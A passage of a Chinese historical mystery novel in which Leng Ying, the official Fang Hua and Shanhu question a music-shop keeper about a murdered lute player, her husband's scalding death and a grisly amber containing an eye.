“敢问姑娘贵姓芳名?年纪轻轻便懂螺钿技艺,小生实在佩服……佩服!”男子看起来比方骅大不了多少,双眼却盛满算计。 “冷萤。这两位是我的朋友。”她想着,让方骅与珊瑚这二人自我介绍是不能够了,于是她干脆一并说完了事。 男子上下打量着冷萤,那眼神贼溜溜的,直看得她浑身很不自在。但想着自己还有事情要打听,便忍在原地一动未动。 倒是珊瑚自她背后走出,冷声对男子说了句:“再看挖了你眼睛!” 对方这才收回让人难受的目光,装模作样地作了个揖,“小生昌县琴室掌柜的,黄二斤。” “噗……”原本气鼓鼓的珊瑚,瞬间笑出了声。 男子似乎经常因为姓名被取笑,只烦躁地看了眼珊瑚,又将目光转回表面上若无其事的冷萤。 “黄……掌柜,幸会!”冷萤迅速打了声招呼便不再说话,怕自己因为笑出声而显得太过于无礼。 这个叫黄二斤的掌柜,终于从地上的尸体手中拔出阮琴,有些讨好地递给冷萤,问道:“冷姑娘想瞧瞧吗?” 冷萤当然求之不得,殷切地上前一步,刚想接过阮琴,那人又将递出的东西收了回去。 瞬间扑了个空的她,疑惑地看过去,却见对方笑眯眯地对着她道:“姑娘,要不要跟小生去琴室坐坐?咱好好欣赏一下这把阮琴?” 这人说话……甚是腻味。 她有些反感地没出声,倒是感受到了来自身后强大的冷气。 炎炎夏日,不可能如此凉爽。所以…… 她转身看向身后同时拉长脸的二人,赶紧双手合十,无声地拜托他们配合自己一下。 当然,她不光是为了欣赏那把阮琴。他们一进昌县便见着有人死去,作为刑科官员的方骅,难道不觉有异吗? 他们一同进去时,正好可以趁此机会,向这位黄掌柜打听打听。 见二人虽撇开了脸,却没有拒绝,冷萤这才放心地转身跟着黄二斤走进琴室。 刚一进门,除了墙上挂着的各类乐器,冷萤一眼便瞧见角落里放着的一张,整个琴身用螺钿镶嵌着忍冬花的古琴。 忍冬花的螺钿图案,极少人会用来镶嵌在古琴上,所以只刹那便夺去了冷萤的目光。 见她颇为感兴趣往角落走去,黄掌柜赶忙上前,一边为她引路,一边洋洋自得道:“这是家父留下的产业,家中只我一独子。小小店铺,不足挂齿……呵呵,不足……” 他话还未说完,珊瑚掐断了他的话头,开口道:“谁问你了?显着了……” 黄二斤只觉这黄衣女子格外不好惹,于是老实地停下了嘴里的絮絮叨叨。 只不过,刚过了没多久,他又开始不老实了起来。 见冷萤进了琴室也不四处观赏,对自己手中的阮琴更是没看上一眼,只奔着那台古琴走去,于是开口问道:“冷姑娘,是看上这张古琴了?” 冷萤轻抚琴面,瞧了许久后问:“黄掌柜,这张古琴上的忍冬花,似乎有破损之处。” 听她这么一说,黄二斤表情瞬间变得古怪。他不知是难得找到了同道中人,抑或是因为一些奇奇怪怪的原因,突然急切地想上手拉开冷萤。 结果当然是,他手还未触到冷萤的衣角,便被一把折扇弹开。 低头看着自己瞬间变得红肿的双手,黄二斤愣了半晌,才黑着脸看向方骅,“这位公子您是流氓吗?拿着东西就扇人。” “流氓……”珊瑚在一旁接话道:“难道不是你吗?从现在开始,你嘴巴和手中的动作都给我放干净点!” 冷萤倒是没有参与这几人的争论,她总觉得,身前这张古琴上的图纹很是不对劲。 这古琴年代久远,镶嵌时所用的是厚螺片。 加之,弹琴之人都爱琴,用起来会格外爱惜,“破口在这个地方……真是有些奇怪。”她小声地说了句。 趁着方骅与珊瑚吸引住黄二斤的注意力,冷萤开始反复摸着螺片断口之处,随后猛地大力按了下去。 倏然间,那古琴下方,弹出了一道暗格。 冷萤抽出一看,顿时被吓得差点出了声。 只见那暗格里,放着一小块琥珀。 琥珀成色上好,没什么问题。有问题的是……它里面的包裹之物。 冷萤压下心中的害怕,颤抖着手拿起琥珀快速瞧了眼,终于看清了里面是什么。 那成色上好的琥珀中,赫然包裹着一根血淋淋的断指! 似乎那断指被融进琥珀时,才刚被切下来,仔细一看断指周围还有血丝蔓延。 因为紧张,冷萤心跳如雷。就在她悄悄将暗格推进去,还未喘上一口气…… “冷姑娘,你来评评理!” 黄二斤的声音传来,将她吓得双眼一闭,再慢慢睁开时眼里已无波澜。 她若无其事地转过身,胡乱开口道:“是你们不对。” “我们不对?”方骅不可置信,甚至还有些委屈,瞪着冷萤看她张嘴瞎说。 珊瑚则是冲过来挽起冷萤,指着黄二斤道:“冷姐姐这样是给你面子,你要是再多说一句,牙齿给你扯掉!” 黄二斤见她言语间竟如此暴力,即刻伸手捂住自己的嘴,含糊道:“你们走吧,小店恕不招待!” 方骅上前一步将黄二斤逼坐在椅子上,开口道:“我再问一遍,外面死掉的女子姓甚名谁?” “你你你,你想干什么?”黄二斤颤抖着伸出手,指向方骅,又被他瞪着放下。 珊瑚右手轻轻往腰间一抚,几条弦丝瞬间射出,绕了几圈将黄二斤捆在了椅子上。 “杀人啦……救命了,有人要杀我啊!” 黄二斤用手扯了老半天,那弦丝却越扯越紧,顿感对方来头不小,不是自己能搞定的人,于是扯着嗓子大叫了起来。 珊瑚动了动手指,威胁道:“再叫就扯掉你的牙!” 下一刻,黄二斤闭上了嘴巴,安静无声。 第三十六章 琥珀藏(3) “冷……冷姑娘,你不是要欣赏这把阮琴吗?小生给你,想瞧多久都行。能不能,让你同伴把这玩意儿解开啊?” 黄二斤从三人中间,挑了一位看起来最好说话的,开口哀求着。 “你先回答他们的问题,一会儿帮你说说好话。”冷萤敷衍地回了他一句,也不看他,只是不停地用目光扫视琴室里的每一个角落。 “好好好,我说……” 黄二斤见她明显是个不管事的,只得表情屈辱地瞧了眼方骅,开口说道:“她叫云清泠,是一位琴师。她的相公是街口卖糖人的小贩。” 挑了挑八字眉,他哼笑一声,“她相公很爱赌博。这不,只要家中一没银子,这云娘子便会上门请求,让我同意她到琴室门口卖艺,顺便帮我招揽下生意。” “她有只眼睛好像失明了,你知道是什么原因吗?”冷萤不再四处乱晃,走回来问道。 黄二斤贼眉鼠眼地瞟了冷萤一眼,才快速摇了摇头道:“小生也不知道。只是某日,她过来时右眼突然便蒙上了一块布。” 冷萤目光转向他身边的阮琴,轻手拿起细细欣赏,“可否请问,这把阮琴是谁人所制?”问完后,她小心翼翼地放下那把阮琴。 “那小生就更不知了。只听说……这把阮琴是云娘子从家乡带来的,连逃难时都没丢下。所以不管走到哪里,她都随身抱着。”黄二斤老实回道。 “所以,你刚才拼命将阮琴从云清泠手中拿出,是想将人家的东西占为己有?”冷萤听到这里,才惊觉这把阮琴并不属于琴室,于是冷声问道。 黄二斤见冷萤倏然变了脸色,顿时有些心虚道:“她人都死了,她那个相公又是个大老粗,肯定不会珍惜这东西。还不如给了我……” 原本已经将阮琴放回桌上的冷萤,一把拿起琴身,“这琴我拿走了,到时我会亲自交还给她相公。” 黄二斤一听急了,嘴里不停念叨着,“这琴给了她相公也是浪费,还不如给了我,我还能卖个好价……” 最后一个字,被冷萤瞪回了肚子里。 本来见这人似乎略懂螺钿技艺,想着虽然说话腻味点,但好歹也是同道中人。 结果一进店,便让她发现那样可怕的东西。 这时没聊两句,又察觉到对方是个乘虚而入之辈,方觉与他无话可说。 三人一时谁都没理被绑在椅子上的黄二斤。 不知是不是为了让几人将自己身上的弦丝解开,那黄二斤眼珠一转,便开始没话找话,讲起了云清泠家中的是非。 “其实这云清泠啊,也是个苦命女子。早年家中遭变故,爹娘在逃亡途中被人杀害,只留她一人逃到了昌县,被卖糖人的刘富贵救下,这才委身嫁给了那个大老粗!” 说罢,他还半摇着头啧了啧嘴,看起来颇为羡慕那个叫刘富贵的男人。 冷萤一点也不想听别人家中的是非,她心思还停留在那古琴的暗格处,想找个机会四处瞧瞧,这琴室是不是还藏着什么可怖的东西。 只是,她好像没什么机会了…… 外面一阵骚乱,珊瑚欠身看了眼,说道:“来了几个官府的人。” “出去看看。”方骅对两人说道。 三人快速走出琴室,黄二斤急了,不停哀求道:“冷姑娘,你们帮我解开呀。你,你还说帮我说好话的嘞,怎么说话不算数了啊!” “冷姐姐,要解开吗?”珊瑚跟在冷萤身边,问道。 冷萤摇了摇头道:“先这么绑着吧,太聒噪!” 几人过去时,有捕快正在检查周围可疑之处,其中一个人不小心碰掉了云清泠尸体脸上的面纱。 面纱落下时,冷萤看见了那尸体脖子处的瘀青。虽说淤青不大,但她总觉得看着格外刺眼。 她看向方骅,问道:“大人,她脖子上的淤青,是被人掐出来的吗?” 方骅快速看了看,收回眼才道:“不像是掐的,倒像是被人用东西使劲打出来的。” 云清泠被抬走时,脖子后方,还有手臂上大面积的瘀痕全部露了出来。 那痕迹,一处比一处看起来让人心惊。 “怎么没瞧见这云清泠的相公?”珊瑚好奇地问了一嘴。 冷萤心里也觉着奇怪,照理说昌县也不算大,自己妻子死了,用跑得也该跑来了。 何况她那相公,不应该就在这条街上卖糖人吗? “走吧。”方骅见她站在原地不动,开口催促道。 “去哪里?”冷萤看见陈全附在方骅耳边说了几句话。 “县衙找张志。” 他的同年,昌县的县丞,亦是苏婉琰画像上的那个人。 冷萤点点头,心里还在想着要不要将在琴室里发现的事情,说与方骅与珊瑚知道。 “云清泠!” 一男子的声音从远至近传来。 还未等他们转头,一道残影从三人身边掠过,直直跑进了琴室。 “黄二斤,你这个奸夫!是不是你杀了我兄长?” 那男子毫不避讳,完全不怕说出的话被人听见,扯着嗓子一脚踢开了琴室的门,“黄二斤,你给老子滚出来,敢做不敢……” 不知他是不是看见了琴室里的场景,原本粗鲁的话语戛然而止。 那男子嗓门极大,三人就算站在原地未动,也听见那人因为激动变了音调,“王八蛋,你以为用几根丝线绑着自己就能赎罪了吗?” 话音刚落,琴室外的所有人都听见了椅凳倒地的声音,其中夹杂着黄二斤的几声哀嚎,“你大嫂刚都死在我门口了,你还有闲心在这里欺负我……哎哟……怎么什么人都能给我两下啊!” “大嫂?”冷萤抓住了黄二斤说话的重点。 看了眼另外两人,问道:“黄掌柜嘴里的大嫂,不会就是云清泠吧?” “可是……”珊瑚伸手绕了绕自己耳旁的发丝,开口道:“他刚才说,他兄长死了?他兄长不就是……” “云清泠的相公。”冷萤配合着与她一唱一和。 “好家伙!”珊瑚一拍手,板着软乎乎的小脸冷冷笑了下,“呵……方大人是学过什么夺人魂魄的术法吗?走哪哪死人,是想着多破案多立功呢?” 听她冷嘲热讽的语气,方骅也不动怒,他慢条斯理地回了句:“你不是?” “你!”他三个字就将珊瑚堵得哑口无言。 冷萤这时,在两人身旁淡淡来了句:“我好像也是……” 一瞬间,本来还剑拔弩张的两人,同时卸下眼中的杀气,随后无可奈何地看向她。 呃……这架应该是吵不起来了。 “那,去听听墙角?”她邀请他们。 第三十七章 琥珀藏(4) 琴室的门被那人一脚踢开,半敞开正好方便三人偷听。 冷萤瞧了眼室内,黄二斤连同椅子被人一脚踢翻在地上,横着躺在那里倒不下去也起不来。 他气急败坏地朝刚闯进去的那男子喊道:“你兄长家穷成那样,我收留云清泠在琴室卖艺赚钱,还收留错了?你们一家人怎么那么不识好歹?” “谁知道你收留我大嫂是不是别有用心?如果你俩没点什么,怎的我兄长家一没银子,那女人就跑到你这处来?谁知道她是来干什么的?”那男子指着地上的黄二斤,嘴里不干不净地骂着。 黄二斤被他气到浑身发抖,又因为身体被绑着无法动弹,只得扯着嗓子道:“你们家到底怎么回事。没银子了也找我,人死了也找我。咋?我是上辈子欠你们的,这辈子活着还债的是不?” “那你说,这昌县还会有谁杀我兄长?整个昌县的人都知道你因为好色丢了媳妇,若不是看云清泠长得颇有些姿色,你会收留她?”那男子越说越有理,质问的话一声高过一声。 “刘百两你这个傻子玩意儿,你兄长与大嫂都死了还不去报官抓凶手,跑到我这里闹什么?是!老子是跑了媳妇,但也不会看上你那独眼的嫂子啊!”说完,黄二斤还晦气地啐了一声。 觉着不够过瘾,他啐完后又说道:“别说老子说话不好听,你兄长也不是什么好东西。云清泠为了还他欠下的赌债,跑过来求我给个地儿卖艺,结果他还挖了人家的眼睛。真是……什么玩意儿……” 门外的几人听了黄二斤说的这句话,互相看了一眼。 “看来,这黄掌柜方才没有说实话。”冷萤小声说了句。 那位叫刘百两的男子一听这话,情绪顿时激动起来。 他扯起黄二斤的衣襟,将对方连同椅子一同带起,咬牙切齿道:“我兄长都死了,你还为了那女人泼他脏水。还有,云清泠方才明明就在你这处,你居然说她死了。老实交代,你到底将我大嫂藏在了哪里?” “县衙。”黄二斤无奈开口。 “你说什么?” “我说……”见刘百两一头雾水,黄二斤被扯得哑着嗓子道:“云清泠的尸体,刚刚才被抬走,你后脚就跑到我这里来闹了。” 见对方无半点开玩笑的模样,刘百两一屁股坐到了地上,嘴里喃喃道:“你是说……那女人她死了?” 黄二斤点点头,并未接话。 “怎么会这样……”刘百两慌乱地摇了摇头,仿佛身边无人般开口道:“不过就被打了两下,怎……怎么就死了?” 话音刚落,门边一缕淡黄色身影朝他冲了过来,随即他只觉自己整个身体一紧,下一刻便腾空而起。 在他还未反应过来时,身体便又重重摔在了地上。 “哇啊……”他恐惧地惊叫出声,被摔后身体动弹不得,只能转动脑袋看向那人,惊惧地问道:“你谁啊你?干吗突然打我?” “你语气好些,她凶得很。”与他一同躺在地上的黄二斤,规劝道。 语毕,黄二斤便仿佛被人操控着一般,连人带椅在空中被迫转了个圈,随后直直落下。 黄二斤疼得龇牙咧嘴的,还不忘出声问道:“姑奶奶,您怎地又回来了啊?”语气里满是畏惧。 珊瑚没理他,而是看向那个尝试了几次也爬不起来的人,问道:“你和你兄长,居然敢打女人?” “你到底是谁啊?谁打女人了?倒是你……哎哟……使得些什么术法,扯得我生疼。”刘百两身体稍微恢复了一些,慢慢爬起身,摸着腰间某处喊着痛。 冷萤与方骅这时也进了门,站至珊瑚身后。 “不是,你们都谁啊……”刘百两见又有两人走进琴室,哼哼唧唧地问道。 珊瑚是个急性子,没给问第二次的机会,手指微微动了动,就听见刘百两惨叫了一声。 “没打女人?那你方才的话是什么意思?”珊瑚可不管对方声音多大,作势又要动手。 “我说什么了?哎……你们到底怎么回事,莫名其妙一闯进来,便拘着人摔来摔去。”正满心不耐烦回话的刘百两,突而看见冷萤手中抱着的螺钿紫檀阮琴,激动道:“云清泠的阮琴,怎会在你手上?” 方骅走上前,挡住刘百两伸向冷萤的手指,面无表情道:“手指不想要的话,可以继续伸着试试。” 见着一位看起来比自己高大,面容又格外冷硬的男人站在自己身前,刘百两弱弱地放下手,开口道:“那把阮琴可是我大嫂的心爱之物,为何会在你身后那位姑娘手中?” 冷萤冷静回道:“那位黄掌柜,方才想将云清泠的阮琴占为己有,我只是暂代保管而已。” 刘百两得到了自己想要的答案,却对他们所问之事支支吾吾,不愿回答。 冷萤正准备给他一次机会时,珊瑚的手轻轻一抬,那刘百两便又张牙舞爪地“飞”到了半空中,“说不说?” 身在半空中的刘百两极度没有安全感,大张着双手似乎想要抓住什么,却无济于事。 “是我兄长,我兄长动的手!”知道自己再不说实话,只怕今日是无法安全落地了,他最终闭着眼睛喊出了声:“我兄长疑心云清泠那女人与黄二斤有私,所以只要她来琴室卖艺,回去必定会被打上一顿。 话音刚落,他终于落了地。 “哎哟……” “你方才说你兄长被人杀死,是什么情况?”方骅开口询问。 刘百两下意识看了眼黄二斤,见对方被绑在椅子上,双眼垂下不知在想些什么。 于是转头,对几人开口道:“我晨起去寻兄长有事,刚进门便发觉屋内有异,待走进兄长卧室一看,竟发觉他……他……”刘百两说到这里,眼里的恐惧油然而生。 “发现什么了?”冷萤着急问了句。 “发现他……被人用热烫的胶饴淋满了全身,烫得整个人皮开肉绽的。还有……那些糖液流进他的眼与口鼻,凝固后便堵住了。我第一次见着那具尸体时,差点没认出那是我兄长……” 第三十八章 琥珀藏(5) “活生生的人,被胶饴给烫死了?” 冷萤真的……第一次听见这种死法。 珊瑚不甚明白地眨了眨眼,小声问道:“冷姐姐,胶饴是不是用来做糖人的?” 冷萤轻轻点头,珊瑚顿觉有些恶寒地砸了砸舌,“难怪一直未见云清泠的相公。真奇怪,俩夫妇同一天死亡。” 确实有些奇怪,娘子当街猝死,相公则在家中离奇死亡。 “那又为何要说是黄二斤动的手?”方骅开口问。 “这个……”刘百两眼神又开始躲躲闪闪。 黄二斤见状,不停在椅子上挣扎,开口对他们说道:“这夫妇俩一个脾气暴躁,一个性情温吞。现在人死了还要赖上我,要我去哪里说理去?” 他说得分外委屈,仿佛自己与此事毫无半点关系。 冷萤如若未见过他古琴下藏着的东西,也许还会信他半分。但此时见他声泪俱下地诉着苦,只觉这人并不像外表看上去的那样简单。 “冷姐姐,此人可信吗?”珊瑚小声问她。 “不可信。”冷萤还未来得及回答,方骅在旁直接开口道。 珊瑚和冷萤同时看了过去,见方骅径直走至刘百两身前盯着人家,直盯得对方不自在地暗自朝后挪了挪。 然后拿起折扇将那刘百两的袖口,抬至所有人能看见的角度,开口道:“袖口沾有糖渍,你兄长不会就是你杀的吧?” “你放屁!”刘百两立即反应过来,嘴里不干不净地骂了一句。 方骅放下折扇,陈全不知从哪里跑了出来,一巴掌将那刘百两扇得晕头转向。 冷萤看得都觉着疼。 她以衣袖掩嘴,悄声和珊瑚说道:“我一直有件事搞不明白,为何每每有人骂方大人时,陈全未经请示便可直接扇人?难道是……护主心切?” “当然不是。”珊瑚也学她悄声道:“方骅这人睚眦必报又好面子,必定是他事先授意,但凡遇见有人骂他这事,不用请示便可直接动手。你看陈全那灵敏的反应,令人心疼不?” 原来如此,冷萤觉得珊瑚分析得甚有道理。 二人挨在一起悄声说着小话,方骅则又行至黄二斤那处,用折扇压下了他的头颅。 “哎哎哎,您……您到底想干什么?”黄二斤嘴上虽在抗议,但遇上方骅,他也无法挣脱,只能按着对方的心意动作。 冷萤与珊瑚闻声瞧去,这才懂了方骅这样做的道理。 只见那黄二斤发髻上沾着的东西,远看像一块琥珀,近看才惊觉是冷却后的胶饴,也就是做糖人所用的饴糖。 那饴糖冷却变硬后,令里面裹着的发丝清晰可见。 “说说吧,怎么回事?”方骅收回手,看着挣扎着坐直身体的黄二斤,与依旧满脸惊惧之色的刘百两,问道。 那二人同时低了低头,躲闪来自方骅锐利的眼神。 见他们不肯老实交代,方骅神情骤然变冷,大喝道:“陈全,搜!” “等等!”黄二斤见他这般霸道,大喊一声瞪着眼问道:“你凭什么擅自搜我琴室?一群外乡人,跑到我昌县肆意打骂,作威作福。我……我忍你们很久了!” “忍我们很久了?”方骅反问一句,嗤笑一声后立即拉下脸道:“那又怎样?” “你……”黄二斤从未遇见过如此不讲理的人,顿觉无言以对。 “大胆!你知这琴室背后之人是谁吗?敢对琴室出手,你们几个外乡人怕是活腻了。”刘百两见黄二斤败下阵来,顾不得自己双颊还是红的,立即呛声道。 “哟……”珊瑚见状,开口:“刚才还是杀兄仇人呢?这时候关系又好啦?果然,敌人的敌人就是同伙,对吧?” 黄二斤也不知怎的,竟差些点头赞同她的话,反应过来后才恼羞成怒道:“什么同伙,一个无知女子,不要在这里血口喷人。” 冷萤见对方对珊瑚太不礼貌,缓步走到他面前,语气与往常一样温和道:“无知?看来黄掌柜身上的弦丝拴得还是不太紧,让你说起话来才如此放肆。” 语毕,她动作随意地端起一旁的香烛,围着黄掌柜周身开始晃了起来。 “你想干什么?”黄二斤不停躲着那香烛,完全不懂对方为何有此举动。 方骅虽暂时猜不透冷萤的做法,但知她心性绝不会让自己吃亏,便也放心站在一旁看着。 倒是珊瑚,起初见着冷姐姐为自己说话,本来还挺开心的。可随着对方动作越来越怪异,她是越发看不懂了,“冷姐姐,你这是在干嘛呀?” 冷萤未回话,只是拿着香烛不停在黄掌柜周身绕圈,动作看起来就像是在作法一样,只让黄二斤单瞧着,便无端感到有些害怕。 他被吓到准备再开口骂人时,突觉身体某些地方变得特别烫,就像是有什么黏在自己皮肤上,不停往自己皮肉里钻着发烫。 “你……啊好疼,你到底对我做了什么?”黄二斤再也受不住那针扎一样的烫意,哀叫着问道。 冷萤怕他疼晕过去,及时收了手将香烛放到一边,表情无波问道:“这次,黄掌柜不承认,似乎都不太可能了。” “你,嘶……什么意思?”他双手还被绑着,所以只能使出全身的力气不停扭动身体,缓解那深入骨髓的刺痛。 过了好一会儿,那热烫之意似乎好了一些,他才慢慢停下了动作。 直到身上的痛意离开,理智恢复,他才终于明白冷萤方才的举动是为何。于是瞳孔胡乱转动了几下,表情逐渐变得心虚。 方骅从黄二斤因为忍不住而叫出声时,便懂了冷萤所做之事的含义。 果然……这黄二斤还真瞒了不少事。 “他刚才说,你琴室背后靠山是谁?”方骅朝黄二斤问道。 “干卿底事?” “昌县县丞,张志?”方骅问了句。 此话一出,黄二斤脸色顿时一变。从心虚慢慢变为不可置信,他脸部肌肉僵硬地抖动了两下,最后恢复到面无表情,“不是!” “那就是了。”冷萤状似未听见他的反驳,转头对方骅与珊瑚说了句。 黄二斤眉头一皱,立刻否认道:“我说不是就不是,你们听不懂我说的吗?” 冷萤微微挑了挑眉头,对他道:“黄掌柜,下次撒谎时……最好控制一下表情。” 第三十九章 琥珀藏(6) “阿骅,好久不见!” 一温润男子的声音,自门口传来。 室内几人均侧目看去,见一位身穿青色常服,五官清秀的男子慢步走进琴室,正对着方骅微笑颔首。 见着来人,方骅也难得眉目舒展,开怀一笑迎了上去,“几年未见,张兄一切可好?” 来人便是方志,他们原本就要寻之人。 “一切都好,只是总怀念当年进京赶考时,在你府上借住的那段时日。”张志走至几人面前揖了一礼,才开口问道:“这几位是阿骅的好友吗?” “珊瑚。”珊瑚双手抱拳,还未等方骅介绍便开口道。 “陵县霞锦阁掌柜,冷萤。”冷萤两手交握抬至胸前,微微屈膝行礼。 张志见状,自我介绍:“昌县县丞张志,见过两位姑娘!” 寒暄完毕,他将目光转至好友,“阿骅此次光临昌县,是特地来看为兄的吗?” 他问话时尾音还未完全消散,几人身后的黄二斤,扯着嗓子便将所有人的注意力收拢了过去,“县丞您……您来得正好,快救救小人哇,小人要被这几个人给整死了啊!” 张志这才看向几人身后,一个被捆在椅子上的黄二斤,还有看起来有些虚弱的刘百两。 “这是……”他表情微微有些惊讶,看向方骅。 “说起这个。”方骅看向他,眼神略微变得有些犀利,“方才我就想问,我们几人刚一进城,便听闻昌县一下出了两条人命。张兄现下应该正忙,怎么还得闲到这琴室来?” 张志应未想到,方骅会直接不理会黄二斤的控诉,反而问起命案之事,这让他稍稍有些防不胜防。 他愣怔一刹,随即恢复正常,“几年不见,阿骅一改往日青涩,性格越发沉稳内敛了。” “哼……”珊瑚在方骅身后与冷萤悄声道:“那是他没瞧见,这人朝姐姐你要炸饺子时的无理样子。” 冷萤也想起方骅找自己要萝菔饺子的样子,确实与现在严肃认真的样子不大一样。 方骅也不知听没听见珊瑚说话,就见他身形微微一动,清了清嗓音对张志开口:“这琴室是张兄助资开设的?” 耿直如方骅,当然不会选择与对方互相恭维,而是直接开口问起自己想知道的。 “正是。”见对方毫无客气寒暄之意,张志便也不再顾左右而言他,“昌县地狭人稀,文人雅客不多,加之赋税……想将琴室经营下去极为不易。我身为昌县辅官,断不能置之不理。” 方骅微微点头,随之又道:“身为昌县县丞,理应明确知道,官吏是不可参与民间经商的。若犯,轻者革职,重者并坐举主。方兄的胆子……未免也太大了些。” “所以……”张志似乎并未被方骅吓到,他微微欠身小声与其耳语:“我此次既已大大方方前来,便是有一事想与阿骅商量。” “何事?”不管张志如何姿态谦卑,方骅依旧挺拔如松,不曾弯下一寸腰。 站直身体的张志,这才朝几人身后的黄二斤使了使眼色。 黄二斤虽懂了主子的意思,但此时的他无法站直身体,双手也无法顺利挣脱出来,只得眼巴巴地看着冷萤几人。 沉默许久的冷萤这才开口道:“珊瑚,将这二人解开吧。” 见是她说话,珊瑚只好不情不愿地动了动手指。 顷刻,黄二斤整个身体便松懈下来,他本想走两步来着,奈何被绑着太久,站起身的一瞬间便又瘫坐了回去。 稍等片刻,他才慢腾腾起身走到柜头,摸索了好一会儿,捧着一块镇尺大小的琥珀放在柜面上。 张志带着众人走过去、 在见那块琥珀的第一眼,冷萤便直觉它有些怪异。 这是一块成色极佳的琥珀,油润如玉、金珀光华。只是…… “这是……眼睛?”先探头去瞧的珊瑚,忍不住出了声。 几人围着那块透明度极高的琥珀,除了方骅、张志和黄二斤,全都被琥珀里的包裹之物吓到后退一步。 黄二斤见方骅并未被吓到,眼里闪过一丝精光,双手托起那块琥珀递给了他。 “何意?”方骅并未接过琥珀,而是径直看向张志问道。 张志双眼与他对视,目光探究,“阿骅如果当作从未在琴室见过愚兄,愚兄便将此物赠予你。这块琥珀或许普通,但其内里包裹之物可是天下唯一,绝无二致的。”说完,他接过黄二斤手中的琥珀,试探性地想交给方骅。 “请问,琥珀里的这只眼睛,是否就是云清泠失去的右眼?”冷萤没忍住,带着些微愤怒问道。 初见这块琥珀时,她确实被里面的人眼吓得慌了神。待再次看过去时,她越看越觉得,这只眼睛与她方才见过的一只眸子极为相似。 她能认出,并不是她过目不忘,而是云清泠的眼睛实在太美了,不光是她,几乎所有惊鸿一瞥之人都会记在心里。 黄二斤暼了眼珊瑚后,才对她点了点头。 被他看了一眼的珊瑚倏地抬起手,被冷萤一下拦住,“等等,先听听他们如何说。”这才让珊瑚表情愤愤地收了手。 方骅自然也听见了冷萤方才的问询,神色冷了下来,“张兄还记得当年一同参加殿试时,自己说过的话吗?” 张志托着琥珀的手僵了僵,脸上温和的笑容凝固了一瞬,才又答道:“自然记得。那你呢,怕是早已忘了吧?” “什么意思?”方骅眉头微皱,似是不懂为何对方还能倒打一耙。 见对方是不会接下手中的东西了,张志将琥珀放至柜面上,这才收敛目光垂眼拍了拍袖口,温声开口道:“阿骅,我的人已经将琴室全部包围。如若你方才收了那块琥珀,此时或许你们已经被射成筛子了。” 珊瑚听罢眉头一皱,即刻跑至琴室大门处,侧着身小心翼翼地朝门外瞧了瞧。 随即收回目光,轻哼了声道:“这位县丞大人,说话一向是这般托大吗?” 在走回冷萤身旁时,她手上的弦线悄无声息地收了回去。 “这位姑娘是何意?”张志不甚明白地问道。 “她的意思是,你的人虽多,但想突破我暗卫的‘结界’,还需得……再练一练。”方骅右手握拳,放至唇边浅咳一声。 下一瞬,陈全便押着一位身穿铠甲的弓兵,走至方骅身前,大声道:“大人,外面所有的人均已控制。” “将那些摊贩们放了。”方骅知他什么德行,铁定一激动将方圆三丈内能喘气地全都抓了个遍。 “是!” “你……”张志急了,“阿骅这样做,是否过分了些?” 第四十章 琥珀藏(7) “张兄想将我们射成筛子时,就不过分吗?”方骅说话,一向是不留情面的。 自知说不过对方,张志便不再开口。 一旁的黄二斤一改初见时畏畏缩缩的模样,从柜角后走出,挡在了张志身前。 在场所有人顿时进入剑拔弩张的状态,倒是让站在最远处的刘百两有些看不清目前的形势了。 在大家都沉默许久后,他实在没忍住弱弱地问了句:“为何兄长要送去沈公子那处的琥珀,会出现在黄掌柜琴室里?” “果然……”他一瘸一拐地走过来,大着胆子指着黄二斤开口道:“就是你杀了我兄长!” “能不能别追着我一个人咬?快别在这里凑热闹,往边儿去!”黄二斤不耐烦地驱赶他。 “沈公子又是谁?”这个人,倒是引起了方骅的注意。 “税课司大使沈岁之子沈无尽,昌县出了名骄横跋扈的公子哥儿。”张志回答完他的问题,随后又道:“云清泠的相公刘富贵,赌徒一名。欠了沈无尽一大笔印子钱还不上,才想着投其所好,做出此等孽事。” “这……县丞大人说得也不全对。明明是那沈无尽息钱要得太高,才导致我兄长拆东墙补西墙,最后落得人财两空。那人就是个饕餮,但凡沾上点,便再也没有好日子可过了。”刘百两略微心虚地反驳了几句,将所有罪责全算在沈无尽头上。 “沈无尽固然可恨。但你兄长若不去滥赌,不起这贪婪之心,又怎会步入他的圈套?还亲手残害了自家娘子,真是个畜生!”黄二斤没了那些痞气,说起话来也是有板有眼的。 冷萤见自张志到来,便彻底脱胎换骨的黄二斤,才明白了这人方才就一直都在与他们演戏周旋。 那她方才在古琴下无意间翻到的,还有他亲手从柜头拿出来的恐怖之物,究竟又是怎么回事? 不光是她,珊瑚也有同样的疑惑。只是她们选择先在一旁观察观察,看这几人到底唱的是哪出戏。 其实,从方骅并未让陈全为难张志手下时,她们便知这人已瞧出了其中的猫腻。 “所以,张兄方才的行为,只是想试探一下小弟?”方骅开口问道。 听他这般问,张志便也不再隐瞒。 他表情不再带有审视意味,而是率直地承认:“阿骅,实在是对不住。如今昌县乱作一团,是敌是友我已无法轻辨。加之,你刚踏进昌县便发生了命案,所以我不得不让黄掌柜朝你们试探一番。” 冷萤听出了他弦外之音,出声问道:“那古琴暗格里的断指琥珀,也是黄掌柜故意放入的?” “那倒不是。”黄二斤笑眯眯地看向她,回道:“那块断指琥珀,是我从刘富贵家中偷来的。故意藏在那里,是为了引诱某些有心之人。谁知冷姑娘竟如此敏锐,一进琴室便朝那处看去。” “所以你就更加怀疑我们了,是吗?”冷萤问了句,随后解释:“并不是我敏锐,而是那张古琴就像是刻意摆在那处,上面的花纹也甚是古怪,让人一进琴室注意力便会被它吸引。” 不好意思摸了摸自己后脑勺,黄二斤也不知有没有听清便连连点头,最后还很是害羞地笑了一下。 “他在害羞什么?”珊瑚只觉那黄掌柜她是越看越不顺眼,“有什么可害羞的?” 冷萤朝对方含笑点了下头,眼神却示意珊瑚不可这般无礼。 “有心之人?”方骅明显对这四个字起了兴趣。 “是。探子来报,说最近有个私贩活体琥珀的人,会自陵县而来,于今日到达昌县。这人不日便会与沈无忧联系,所以为兄才这般草木皆兵。”张志据实以告,不再对他们有所防备。 “我便是从陵县过来的。”方骅瞳孔微动,眼神却有些许散漫地说道。 看见他这个样子,冷萤便明白了,这人正努力在脑海里将整件事情拼凑还原。 随之,方骅回过神问道:“所以,张兄的探子并未告知此人是谁?” “并未。”张志极为认真地回他,“我接到的密报,上面只说陵县的知县被杀,典史贪污,师爷告老还乡。并说……”他看了眼冷萤,止住了话头。 冷萤柔声开口:“张县丞但说无妨。” 